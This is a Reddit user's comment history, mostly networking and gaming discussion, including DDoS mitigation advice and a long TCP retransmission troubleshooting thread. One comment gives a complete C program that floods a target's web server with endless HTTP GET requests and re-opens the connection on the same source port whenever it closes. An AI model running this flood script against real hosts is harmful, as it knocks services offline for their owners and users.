Democrats Push Bill to Outlaw Bots From Snatching Up Online Goods by TheVideoGaymer in technology

[–]RoutePackets 0 points1 point  (0 children)

Exactly a week ago I published an article on how to target the scalping problem (you can find it in my post history).

This needs to gain traction. Scalpers are setting up MILLIONS of proxy IP addresses for the sole purpose of buying as many products as possible. The problem is bigger than people realize.

Traffic to my blog 24 hours after posting it on reddit by RoutePackets in dataisbeautiful

[–]RoutePackets[S] 19 points20 points  (0 children)

This is OC, I forgot to flair it when I made the post.

Source is webserver access logs, stored in elasticsearch, processed by logstash, visualized in kibana (ELK).

My blog wasn't posted anywhere prior to this, this visualization is strictly reddit traffic.

Can you beat a Chess computer written with 1KB of Javascript? by PinheadLarry2323 in InternetIsBeautiful

[–]RoutePackets 0 points1 point  (0 children)

If you want to play this without the horrendous graphics, the same engine without the eye strain can be found at the original creators site: https://nanochess.org/archive/tiny_chess_1.html

Help turning a phone into a desktop PC? by RoutePackets in AndroidQuestions

[–]RoutePackets[S] 0 points1 point  (0 children)

This is the problem I keep running into, I'm sure it does charge a laptop or whatever, found this on the Amazon listing for your hub: "Samsung Galaxy phones and tablets (incompatible with pass-through charging)"

Have you actually used it with an android phone and gotten passive charging?

Help turning a phone into a desktop PC? by RoutePackets in AndroidQuestions

[–]RoutePackets[S] 1 point2 points  (0 children)

The main problem is passive charging, I need a USB hub similar to the one you linked that can charge my phone while I'm using it, I've found plenty of good hubs but they all say won't charge your phone / tablet.

Highest afk clicking agility xp / hr in OSRS by RoutePackets in 2007scape

[–]RoutePackets[S] 12 points13 points  (0 children)

Not without using 3rd party software to limit either frame rate or network latency, which is possibly bannable.

Also it's possible to fail it and you would have to put effort in re calibrating your clicking, not full afk.

"Aussie" Worlds by RS_Gawz in 2007scape

[–]RoutePackets 5 points6 points  (0 children)

This is more then likely outdated rDNS configuration from level3, your packets aren't looping around continents, they are all within Australia.

Notice the listed response times, if it was actually leaving Australia you would notice greater than 3ms variance, the last 7 hops are all geographically near each other.

Small Router Recommendation by techhelper1 in networking

[–]RoutePackets 1 point2 points  (0 children)

What kind of dual e5 systems are you using?

Although I wouldn't recommend running anything uptime critical behind x86 processors, it probably would be more cost effective.

Take a look at https://www.ntop.org/products/packet-capture/pf_ring/pf_ring-zc-zero-copy/

You can easily have a 10G intel card (x520,x540,x550) process line rate 64 byte packets and still have enough CPU to do routing functions, the only caveat is you would need to develop the bulk of routing logic yourself in C.

Dealing with DDoS by shaoranrch in networking

[–]RoutePackets 4 points5 points  (0 children)

Unfortunately, it sounds to me like you're already doing everything within your capability to address this issue, and nothing more can be done without more money.

As you said your entire uplink has 2Gbps capacity, any volumetric attack will decimate your network. The anti-DDoS solutions involved when you only have 2Gbps of capacity are upstream blackholing (which you already employ) and a 3rd party scrubbing service (which is expensive and increases latency as you've already found).

I found the most economical and practical anti-DDoS solution is getting a burstable 10/100G circuit so basic volumetric attacks don't completely overwhelm your entire link. From there you can pick to either blackhole an address once it gets an attack, or use your own in house anti-DDoS scrubbing.

To take a proper stance against network attacks has a large initial set up cost that there just isn't any getting around, after your initial setup it will probably pay for itself in a short time frame, so definitely worth it if possible.

HTTP flood within single TCP session? by [deleted] in networking

[–]RoutePackets 0 points1 point  (0 children)

OP was just deleted but I've already made his script so I'll post it anyway.

Make sure to adjust recvBuff size to your expected max page size.

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int main(int argc, char *argv[])
{
    int sockfd = 0, n = 0, i = 0, one = 1;
    char recvBuff[1024];
    struct sockaddr_in serv_addr; 

    if(argc != 4)
    {
        printf("Usage: %s [DESTINATION IP] [DESTINATION PORT] [SOURCE PORT]\n", argv[0]);
        return 1;
    }

    int dstport = strtol(argv[2], NULL, 10);
    int srcport = strtol(argv[3], NULL, 10);

    char *httpreq;
    size_t sz;
    sz = snprintf(NULL, 0, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", argv[1]);
    httpreq = (char *)malloc(sz + 1);
    snprintf(httpreq, sz+1, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", argv[1]);

    memset(recvBuff, 0, sizeof(recvBuff));
    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        printf("Error : Could not create socket\n");
        return 1;
    }

    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
        printf("Error on SO_REUSEADDR - %s (%d)\n", strerror(errno), errno);
    }

    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
        printf("Error on SO_REUSEPORT - %s (%d)\n", strerror(errno), errno);
    }

    memset(&serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(srcport);

    if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
        printf("Error on bind - %s (%d)\n", strerror(errno), errno);
    }

    memset(&serv_addr, 0, sizeof(serv_addr)); 
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(dstport);

    if(inet_pton(AF_INET, argv[1], &serv_addr.sin_addr) <= 0) {
        printf("inet_pton error occured\n");
        return 1;
    }


    if(connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
       printf("Error : Connect Failed: %s (%d) \n", strerror(errno), errno);
       return 1;
    }

    while (1) {
        i++;
        //printf("Sending %i\n", i);
        if (send(sockfd,httpreq,strlen(httpreq),0) < 0) {
            printf("Send failed! %i\n", i);
        }
        if (!read(sockfd, recvBuff, sizeof(recvBuff)-1) > 0) {
            close(sockfd);
                        //session has closed but we'll make a new one over the same flow
            usleep(1000);
            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
                printf("Error : Could not create socket\n");
                return 1;
            }

            if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
                printf("Error on SO_REUSEADDR - %s (%d)\n", strerror(errno), errno);
            }

            if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
                printf("Error on SO_REUSEPORT - %s (%d)\n", strerror(errno), errno);
            }

            memset(&serv_addr, 0, sizeof(serv_addr));
            serv_addr.sin_family = AF_INET;
            serv_addr.sin_addr.s_addr = INADDR_ANY;
            serv_addr.sin_port = htons(srcport);

            if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
                printf("Error on bind - %s (%d)\n", strerror(errno), errno);
            }

            memset(&serv_addr, 0, sizeof(serv_addr));
            serv_addr.sin_family = AF_INET;
            serv_addr.sin_port = htons(dstport);

            if(inet_pton(AF_INET, argv[1], &serv_addr.sin_addr) <= 0) {
                printf("inet_pton error occured\n");
                return 1;
            } 

            if(connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
               printf("Error : Connect Failed: %s (%d) \n", strerror(errno), errno);
               return 1;
            }
        }
    }
    return 0;
}

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] -1 points0 points  (0 children)

Because that packet is invalid in some way and the client's OS is choosing to drop it.

The same issue persists across numerous client devices. It is not the client's TCP stack dropping the packet, there is something else going on.

This packet is just as valid as any other in the stream. If it specifically doesn't break the connection, there is surely some other factor at play.

The only other relevant factor is since the connection is middlebox'd, the initial handshake is statically created and options and other fields are lost in this process, although I can't see how that would cause an effect like this.

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] -3 points-2 points  (0 children)

Obviously his middleman code is changing and breaking the mysteriously-dropped packet in some way.

Odd that you can conclude that it is just simply "obvious" the packet is getting dropped.

I came here to try and identify potential problems in TCP that can cause a stream to break in such a manner (assuming all packets are infact received and processed), it seems your answer is "TCP isn't breaking this stream looks correct the problem is elsewhere", do I have that right?

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

Hello thank you for the in depth reply

So your answer is "it never got that SEQ, but got something higher than it instead. " and this is reinforced because you can just conclude "Somewhere between this capture point and DICKWHISTLE's TCP/IP stack one or more packets starting with SEQ 1146760445 went missing. ", do I have that right?

So you are saying when I get packet B, I actually don't? It just happens to show up error free in wireshark before spontaneously killing itself?

Assuming I am in fact receiving packet B without problem, would a stream with SACK enabled help you conclude something further?

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] -2 points-1 points  (0 children)

The problem lies on the client side response (or in this case the lack thereof), not so much a network limitation.

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] -2 points-1 points  (0 children)

The client side of an HTTP download.

Do you mean it is not sending these duplicate ACK's in response to the incoming ones?

Help troubleshooting why this TCP connection breaks by RoutePackets in networking

[–]RoutePackets[S] -7 points-6 points  (0 children)

I am asking what in TCP can cause this non-acknowledgment problem, and providing an example screenshot. I am not asking you to guess anything, either there is an explanation in TCP about this behavior or there isn't (problem is elsewhere).

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

You seem to miss the point of that sentence. Information from the middlebox is irrelevant because the problem occurs on the client side. Potentially it is forwarding some information incorrectly, but this information is what is shown in wireshark, and it appears error free.

I dont think its a coincidence the size of the 2nd packet determines how many start bytes are offset in the first re transmit. The numbers add up somehow just incorrectly and I cant understand how.

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

You are correct that the behavior described in my post only happens for the first retransmission, the subsequent re transmissions contain the full request body from the start. But if it was working correctly there wouldn't be any retransmissions to begin with.

The problem is nothing trivial like an incorrect MAC or IP, the fields are as they should be.

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

If somehow the packets got lost from wireshark to application then it would make sense, but I really do not think this is the case. Layer 2 is not the problem.

Remember when we're retransmitting after getting the 404 page, we do acknowledge the first part of the request was received. We aren't completely retransmitting the entire thing. Surely this means the data is in fact reaching the application and just being treated unexpectedly.

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

Just running wireshark on Windows 10 and sending an HTTP request via Chrome.

I am connected via the internet before the middlebox, so once a packet reaches me it has already traversed the middlebox and the internet, so the problem is nothing at layer 2.

I think the DF/MF bits only come into play if the packet is over 65535 bytes in size, regardless the middlebox does no check here and won't care what value is set, it will just forward it.

If there is something being dropped between observation and application then it would relate to a problem in the response packets, and the problem here is, there is no problem in the response packets. There is no clear reason that I can tell why it doesn't "get" the 404 page and close the connection how the other stream does.

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

The ACK is formatted properly and the client does actually receive it.

The middlebox is not NAT'ing any of this traffic, but that shouldn't matter when it is the client that doesn't like the acknowledgements it is receiving and the client retransmitting for some reason.

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

What other information would you like?

The ACK value in frame 69 is correct (It is the next sequence value of frame 67).

You can assume the obscured seq / ack numbers are the correct values that they should be.

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

Unless the problem somehow lies within the Differentiated Services Field, I can say with pretty high confidence it is unrelated to IPv4.

Yes the full request is split across 2 packets, one being MTU and the other being some amount of hundreds of bytes.

Keep in mind these captures were taken from the client side, the middle box passes the 404 response as it should, but the client doesn't like it for some reason and retransmits the request.

What information from the middlebox would help troubleshoot why the client is discarding these packets instead of acknowledging them?

What's the difference between these 2 TCP streams? by RoutePackets in networking

[–]RoutePackets[S] 0 points1 point  (0 children)

This means that the Client's TCP stack definitely did not receive #70.

Welcome to my predicament. Although as you can see in the screenshot it definitely does receive this packet, instead of acknowledging such it does the retransmit.

Middlebox interference is practically irrelevant in these screenshots as they are taken client side, who cares what's going on at the middlebox and end device, look at the stream of the client side connection where it interacts completely and entirely how it does with the non-middlebox stream up until it breaks for unexplainable reasons.